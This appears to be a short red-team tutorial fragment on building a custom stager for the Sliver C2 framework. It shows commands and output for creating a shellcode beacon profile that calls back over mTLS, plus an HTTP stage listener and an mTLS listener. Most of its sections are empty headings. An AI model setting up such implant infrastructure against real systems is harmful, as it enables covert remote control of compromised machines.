Sliver Custom Stager

Intro

1.0 Protocol analysis

1.1 Prepare Sliver

First, we create a new profile with which our beacon will be compiled.

sliver > profiles new beacon --mtls 192.168.2.10:443 -f shellcode --timeout 300 --seconds 5 --jitter 1 Funny_ProfileName
 
[*] Saved new implant profile (beacon) Funny_ProfileName

Now we start a listener for the stage.

sliver > stage-listener --url http://0.0.0.0:9911 --profile Funny_ProfileName --prepend-size
 
[*] Sliver name for profile Funny_ProfileName: JITTERY_SHOE-HORN
[*] Job 1 (http) started

And finally we need a listener for MutualTLS.

mtls --lhost 0.0.0.0 --lport 443
 
[*] Starting mTLS listener ...
 
[*] Successfully started job #2

Check the generated jobs with jobs and you are done.

References

Tags